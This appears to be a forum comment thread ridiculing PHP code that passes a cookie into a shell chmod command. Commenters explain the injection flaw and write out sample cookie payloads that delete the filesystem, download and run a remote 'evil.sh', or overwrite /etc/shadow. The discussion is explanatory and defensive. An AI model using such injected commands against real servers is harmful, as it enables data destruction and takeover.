- Feature Articles
- CodeSOD
- Error'd
- Forums
-
Other Articles
- Random Article
- Other Series
- Alex's Soapbox
- Announcements
- Best of…
- Best of Email
- Best of the Sidebar
- Bring Your Own Code
- Coded Smorgasbord
- Mandatory Fun Day
- Off Topic
- Representative Line
- News Roundup
- Editor's Soapbox
- Software on the Rocks
- Souvenir Potpourri
- Sponsor Post
- Tales from the Interview
- The Daily WTF: Live
- Virtudyne
Admin
chmod Frist
Admin
I cannot comprehend why this would end up in a freakin' COOKIE of all places. Wow.
Admin
I don't fully understand this. Why is that bad?
Admin
system("chmod 777 " . $_COOKIE["$sessionid"]);
So, if I understand this correctly, all you'd need to do is set the cookie to "/; rm -rf /" to see if whoever was responsible for this mess thought to make backups.
Admin
Personally, my jaw hit the floor. It hurt.
Admin
To clarify for the windows folks out there, chmod is a Unix command that alters permissions on files out there. Effectively this was a cookie - command injection that opened up someone's entire file system, and could be further mangled then to do more devastating stuff to the system. I do hope the account that the code was banking under had somewhere less than root privileges, cuz anyone who mangled a cookie could execute anything he wanted within the permissions of that account...
Admin
... and if the "system()" call does what a couple of previous posters think it does ...
Wow.
Admin
I could be wrong, but Celina Nunes hints at the problem:
Essentially, what an attacker will be able to do is make every single file readable, writeable, and executable for the owner, group, and all users.
Yay! Free access to a linux system and every single file! Including root access, hash files, configurations, ... everything. Want to setup a zombie? There's your system.
How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?)
Admin
captcha: ingenium...... like the guy we thank for today's WTF
Admin
Why do you still focus on chmod? It is system() with an arbitrary string.
Admin
Worse than that. It wipes the setuid bit everywhere. That means, for instance, that you can no longer 'sudo' to become root, because /usr/bin/sudo is usually -rwsr-xr-x which means that, when you execute it, it executes as root. That's how it's able to elevate your privileges. Making it -rwxrwxrwx (as this command would do) means it'll run as your current login, the way most executables do... which means it's now pretty much impossible to recover the system. Yep, you're gonna have to take the system down, boot some other media, and MAYBE then you'll be able to patch things up.
Hopefully the scripts are running as a restricted user (at very least, non-root), but if he has a hole this huge in his code, maybe that's not safe to assume...
Admin
@Machtyn "How do you..."
Easy, you open his website in your browser, then go to your cookie folder and find the cookie for his website.
Open it in your favorite text editor, and you'll find a few lines like somevar somevalue someothervar someothervalue SESS_ID as9d876d783i12oij34t
Change this to something like:
somevar somevalue someothervar someothervalue SESS_ID /; rm -f /
And you get the picture.... and an empty HD on the server (if the apache server is running as a user that has that sorta access rights...
captcha: praesent.... Hey admin, I got a praesent for you :)
Admin
As to this - $_COOKIE holds cookies, so all you need to do is send an HTTP request with
Cookie: blahblah=/
where blahblah is your session ID (as would be in the $sessionid variable) - probably itself available to you as either another cookie or a query variable.
Admin
Admin
[quot]How one actually sets the $_COOKIE["$sessionid"], I'm not sure (rewrite the html or javascript and insert the equality line? modify the cookie the website wrote to your system?) [/quot] How about the cookie-editor that comes with firefox. There are also many hacker tools/penetration test tools that do this for you as part of the probing process in the first phases of a penentration test.
Admin
$_COOKIE["$sessionid"] = "; wget http://myserv.com/evil.sh; chmod +x evil.sh; ./evil.sh";
Admin
Quick explanation for people who still aren't getting it: a) the code has a shell injection vulnerability that allows visitors to the website to run arbitrary code on the server; b) even if that vulnerability weren't present, the intended behaviour of the code (removing all security restrictions on an arbitrary file specified by a cookie) is also a vulnerability. (The user can change the cookies they send to the site using a browser add-on, or just a quick line of JavaScript typed into the address bar; there are more sophisticated methods like writing an HTTP request by hand, but they wouldn't even be needed here.)
Admin
While I get that that snippet of code is changing the file permissions for the files under $sessionid, what I'm not getting is how does the attacker know there is such a snippet running?
Is this like in a list of things attackers look for?
E.g.
...
42: look to see if they're stupid enough to have a system call to change file permissions?
...
Admin
The "chmod -777 /" won't actually do that for you. It will just change the permissions of the root directory, but only if the launching user on the server has permission to do so.
But of course you can add whatever you like in there instead of just "/", and "/; rm -rf /" seems to be a favourite, for good reasons:
The command is then "chmod -777 /; rm -rf /", i.e. give everyone full access to the root directory, then delete everything.
For those arguing about Windows being immune to this versus it affecting Linux, well, duh, of course it won't affect Windows systems, because you know it is running on a UNIX-a-like server, because chmod isn't a Windows command.
Theoretically, attacking this vulnerability would affect BSDs, Solaris, etc. just as easily as Linux, and on BSDs it might actually do more damage than on Linux. Linux (on e2fs, not sure about others) will not remove a directory that is "." for any process, while FreeBSD on ufs most certainly will.
Any correctly secured system will absolutely resist this particular attack, although the one suggested to download an evil.sh and run it has more wide-ranging possibilities.
Admin
The "chmod -777 /" won't actually do that for you. It will just change the permissions of the root directory, but only if the launching user on the server has permission to do so.
But of course you can add whatever you like in there instead of just "/", and "/; rm -rf /" seems to be a favourite, for good reasons:
The command is then "chmod -777 /; rm -rf /", i.e. give everyone full access to the root directory, then delete everything.
For those arguing about Windows being immune to this versus it affecting Linux, well, duh, of course it won't affect Windows systems, because you know it is running on a UNIX-a-like server, because chmod isn't a Windows command.
Theoretically, attacking this vulnerability would affect BSDs, Solaris, etc. just as easily as Linux, and on BSDs it might actually do more damage than on Linux. Linux (on e2fs, not sure about others) will not remove a directory that is "." for any process, while FreeBSD on ufs most certainly will.
Any correctly secured system will absolutely resist this particular attack, although the one suggested to download an evil.sh and run it has more wide-ranging possibilities.
Admin
Admin
Wow, cookie penetration on command, vulnerability to injection, jaws opening so fast they hit the floor... this sounds like my kind of job!
Admin
Just because the developers are incompetent does not mean the system administrators and operators are, there is no reason to think you get root this way. The server daemon hopefully is running as a less privileged user and group; hey we might get really lucky and it might be in a chroot environment.
That said passing the contents of cookie to the shell with is a pretty good WTF
Admin
Admin
Uhm, many times they are the same person. And chances are that if they are having to do a chmod 777 on a file it's because they have no clue how *nix security works and that increases the odds that they're running the server under root, especially if they're a transplant from the Windows world and used to doing/running everything as Administrator
Admin
Can we IP ban these idiots? This Nagesh crap was fun the first time, but now it's just spam and trolling and detracts from the comments.
Admin
I will take "/etc/shadow" or "/etc/passwd" as my cookie please. And then close the session (obviously, the garbage collector will delete my session-cookie...)
May be "/bin/sh" and variantes are better cookies... no more login shell, end of problem.
Admin
And if that didn't work, the attacker could craft a program that sends out hand crafted, raw TCP, IP, or Ethernet packets of his choice.
Always assume everything you get from the user could be malicious.
Admin
Admin
TRWTF is using Linux these days
Admin
And if that didn't work, the attacker could craft a program that sends out hand crafted, raw TCP, IP, or Ethernet packets of his choice.
Always assume everything you get from the user could be malicious.
Admin
You must be new here..
Admin
C language is for cookie that's good enough for me.
Admin
Admin
Admin
Admin
I undertake project in java, if you need help with homework, contact me.
Admin
CAPTCHA: mara - my first cookie
Admin
You're not quite right - it only makes that change for every file in every directory that the Apache user has write access to. You aren't running Apache as root, are you?
Of course, if the admin was dumb enough to run the webserver as root, you can use this to inject whatever shell command you like, like this:
$_COOKIE["$sessionid"] = '.; echo "shadow file contents with known password" > /etc/shadow'
so that you know the root login but the admin doesn't. Then you can use the same technique to make sure sshd is up and running, and no longer have to worry about all that pesky cookie mangling. There are defenses against this, of course, but an admin who doesn't know the dangers of running servers as root also probably doesn't know about the defenses.
As far as how to mangle your cookies, there are Firefox plugins to help you do just that.
Admin
Didn't get that at first glance, but as soon as I read the first explanation it was a classic jawdrop...
How does code like this get past even the simplest tests? Surely the dev must have known this was bad?
Admin
Some other things there are so bountiful, that I really doubt the realism, though.
CAPTCHA inhibeo - They all feature plenty of inhibeo behavior
Admin
Of course. chmod not recursive by default. That little bit of info nagged me after I submitted it. Ah, well.
Admin
$_COOKIE["$sessionid"] = "/ -R";
system("chmod 777 " . $_COOKIE["$sessionid"]);
Admin
Also, security is not being primary gole of developer: developing of software is being primary gole of developer.
Admin
Admin
Admin
Admin
Where did Celina Nunes' comment go?
It's quoted in a blue comment but has disappeared from the regular postings.
Admin
There are a lot of tools to do this, but the easiest way would be to modify the cookie with a browser add-on like firecookie for firefox. Eyeballing it, that code above looks like PHP, so the cookie would be named $sessionid on your system. Then just edit the cookie and reload the current page (or browse to the next).
Admin
I think it's hot, personally.